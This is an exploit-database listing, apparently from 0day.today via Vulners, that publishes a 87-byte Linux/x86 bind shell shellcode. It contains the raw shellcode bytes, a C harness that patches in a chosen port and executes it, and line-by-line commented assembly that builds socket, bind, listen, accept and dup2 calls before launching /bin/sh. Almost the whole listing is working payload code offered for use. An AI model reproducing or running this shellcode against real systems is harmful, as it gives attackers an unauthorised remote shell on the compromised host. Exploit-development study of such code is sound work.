Lucene search
K

Linux/x86 - Bindshell with Configurable Port Shellcode (87 bytes)

🗓️ 16 May 2016 00:00:00Reported by JollyFrogsType 
zdt
 zdt
🔗 0day.today👁 30 Views

Linux/x86 Bindshell Configurable Port Shellcod

Code
/*===================================================================*/
/* 
  Filename: bindshell.c
  Author: JollyFrogs ([email protected])
   
  License: This work is licensed under a Creative Commons
  Attribution-NonCommercial 4.0 International License.
   
  Compile:
  gcc -m32 -fno-stack-protector -z execstack bindshell.c -o bindshell
*/
 
#include <stdio.h>
#include <string.h>
#include <stdbool.h>
 
unsigned char shellcode[] = \
"\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97"
"\x5b\x58\x66\xb8\x15\xb3\x66\x50\x66\x53\x89\xe1\x31\xc0\xb0\x10"
"\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x50\x57\xb0\x66\x43\x43\x89"
"\xe1\xcd\x80\xb0\x66\x43\xcd\x80\x93\x87\xcf\x49\xb0\x3f\xcd\x80"
"\x75\xf9\x50\x59\x50\x5a\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x87\xe3\xcd\x80";
 
static bool shellcode_zerocheck() {
    // initialize counter
    int i = 0;
    // check each byte in shellcode array for hexidecimal zero value, return false if zero found
    for(i = 0; i < sizeof(shellcode)-1; i++) {if (shellcode[i] == '\x00') return false;}
    // Return true if no zeroes found
    return true;
}
 
static bool shellcode_setport(char *buf, int port) {
    // Check if decimal port is valid
    if (port<1024 || port>65535) return false;
    // The offset of the port is 21, but reduce by 1 since the array counts from 0
    int shellcode_port_offset = 20; // (\x15\xb3)
    // convert decimal port to hexidecimal
    *(short *)(buf+shellcode_port_offset) = port; // (\x15\xb3) - shellcode array counts from 0
    // Swap port bytes to accomodate for Little Endian memory structure
    char tmp = buf[shellcode_port_offset];
    buf[shellcode_port_offset] = buf[shellcode_port_offset+1];
    buf[shellcode_port_offset+1] = tmp;
    // Check if the hexidecimal port contains zeroes, if it does then show an error
    if (shellcode[20] == '\x00' || shellcode[21] == '\x00') {
     printf("port HEX contains zeroes\n"); return false;
    }
    // Return true if all checks passed
    return true;
}
 
main () {
    // Port in decimal - should be higher than 1024 and lower than 65536
    int port = 1234;
    // Basic error checking
    if (!shellcode_setport(shellcode, port)) {printf("ERROR: Invalid port\n");return 0;}
    if (!shellcode_zerocheck()) {printf("ERROR: Shellcode contains zeroes\n");return 0;}
    // Print shellcode length.
    printf("Shellcode Length:  %d\n", strlen(shellcode));
    // Run assembly commands
    __asm__ (
    // Initialize registers
     "movl $0x12345678, %eax\n\t"
     "movl $0x12345678, %ebx\n\t"
     "movl $0x12345678, %ecx\n\t"
     "movl $0x12345678, %edx\n\t"
     "movl $0x12345678, %edi\n\t"
     "movl $0x12345678, %esi\n\t"
     "movl $0x12345678, %ebp\n\t"
    // execute shellcode
     "jmp shellcode");
}
 
/* Assembly source of shellcode: 
 
global _start
 
section .text
_start:
  ; parameters for SOCKET(2) are placed on the stack in reverse order
  ; SOCKET(2) Synopsis: int socket(int domain, int type, int protocol);
  ; Before instruction "int 0x80" the stack should look like: 
  ; 02 00 00 00 01 00 00 00 00 00 00 00
  ; ^AF_INET    ^S_STREAM   ^TCP 
   
  xor    eax, eax            ; EAX = 00000000
  push   eax                 ; PUSH 00000000 (TCP)
  inc    eax                 ; EAX = 00000001
  push   eax                 ; PUSH 00000001 (SOCK_STREAM)
  pop    ebx                 ; EBX = 00000001 (SOCKETCALL.SOCKET)
  push   eax                 ; PUSH 00000001 (SOCK_STREAM)
  inc    eax                 ; EAX = 00000002
  push   eax                 ; PUSH 00000002 (AF_INET)
   
  ; invoke socketcall to create the socket
  mov    al, 0x66            ; EAX = 00000066 (SOCKETCALL)
   
  mov    ecx, esp            ; ECX = points to top of stack (0xBFFFF3E4)
 
  int    0x80                ; SYSCALL SOCKETCALL(2)-SOCKET(2)
   
  xchg   edi, eax            ; store fd in edi
 
  ; parameters for BIND(2) are placed on the stack in reverse order
  ; BIND(2) Synopsis: int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
  ; Before instruction "int 0x80" the stack should look like: 
  ; 07 00 00 00 xx xx xx xx 10 00 00 00 02 00 b3 15 00 00 00 00
  ; ^FD         ^           ^structlen  ^AFNT ^port ^in_addr
  ;             | PTR to ---------------^  
   
  pop     ebx                ; EBX = 00000002 (SOCKETCALL.BIND)
  pop     eax                ; EAX = 00000001
  ; Note: Stack = 00000000
  mov     ax, 0xB315         ; EAX = 0000B315 (5555 reversed)
  push    ax                 ; PUSH B315      (sockaddr_2)
  push    bx                 ; PUSH 0002      (sockaddr_3)
  mov     ecx, esp           ; ECX = ESP (0xBFFFF3E8)
  xor     eax, eax           ; EAX = 00000000
  mov     al, 0x10           ; EAX = 00000010
  push    eax                ; PUSH 00000010  (len(sockaddr))
  push    ecx                ; PUSH (*ADDR)   (ptr to sockaddr)
  push    edi                ; push (FD)      (SOCKFD)
   
  ; invoke socketcall to bind the socket to IP and port
  mov     al, 0x66           ; EAX = 00000066 (SOCKETCALL)
  mov     ecx, esp           ; ECX = points to top of stack  (0xBFFFF3DC)
 
  int     0x80               ; SYSCALL SOCKETCALL(2)-BIND(2)
 
  ; parameters for LISTEN(2) are placed on the stack in reverse order
  ; LISTEN(2) Synopsis: listen(int sockfd, int backlog)
  ; Before instruction "int 0x80" the stack should look like: 
  ; 07 00 00 00 00 00 00 00
  ; ^FD         ^Backlog = 0
   
  ; Note that EAX = 00000000 due to return code from SOCKETCALL above
  push    eax                ; PUSH 00000000  (Backlog)
  push    edi                ; PUSH (FD)      (SOCKFD)
         
  ; invoke socketcall to set the socket in listen mode
  mov     al, 0x66           ; EAX = 00000066 (SOCKETCALL)
  inc     ebx                ; EBX = 00000003
  inc     ebx                ; EBX = 00000004 (SOCKETCALL.LISTEN)
  mov     ecx, esp           ; ECX = points to top of stack (0xBFFFF3D4)
  int     0x80               ; SYSCALL SOCKETCALL(2)-LISTEN(2)
  ; Note: The selected port is opened on the system and listening
 
  ; parameters for ACCEPT(2) are placed on the stack in reverse order
  ; ACCEPT(2) Synopsis: int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
  ; Before instruction "int 0x80" the stack should look like: 
  ; 07 00 00 00 00 00 00 00 00 00 00 00
   
  ; Note that EAX is set to 0 upon successful execution of SOCKETCALL.LISTEN
  ; Note that stack at 0xBFFFF3D4 already contains what I need:
  ; 07 00 00 00 00 00 00 00 00 00 00 00 
  ; invoke socketcall to set the socket to accept connections
  mov     al, 0x66           ; EAX = 00000066 (SOCKETCALL)
  inc     ebx                ; EBX = 00000005 (SOCKETCALL.ACCEPT)
  int     0x80               ; SYSCALL SOCKETCALL(2)-ACCEPT(2)
       
  ; use syscal DUP2(2) to copy the stdin(0), stdout(1) and stderr(2)
  ; DUP2(2) Synopsis: int dup2(int oldfd, int newfd);
  xchg    eax, ebx           ; EBX = CFD, EAX = 00000005
  xchg    ecx, edi           ; ECX = 00000007
  ; XCHG ECX, EDI saves us having to zero out ecx and then MOV 3
   
redirect:
  dec     ecx                ; ECX = 00000002 (eventually)
  mov     al, 0x3f           ; DUP2(2) (3 times - ECX=2, ECX=1, ECX=0)
  int     0x80               ; SYSCALL DUP2(2) (ECX=2, ECX=1, ECX=0)
  jnz     redirect           ; 
   
  ; spawn /bin/sh shell
  ; Note that EAX is set to 00000000 upon last succesful execution of DUP2
  push eax                   ; PUSH 00000000 (NULL byte)
  pop ecx                    ; ECX = 00000000 (EXECVE ARGV)
  push eax                   ; PUSH 00000000 (NULL byte)
  pop edx                    ; EDX = 00000000 (EXECVE ENVP)
   
  ; push '/bin//sh, 0' on stack
  push eax                   ; PUSH 00000000 (NULL byte)
  mov al, 0xb                ; EXECVE(2)
  push 0x68732f2f            ; "//sh"
  push 0x6e69622f            ; "/bin"
 
  xchg esp, ebx              ; Save a byte by sacrificing unneeded ESP
     
  int 0x80                   ; Start /bin/sh in the client socket FD
*/
 
/*===================================================================*/

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation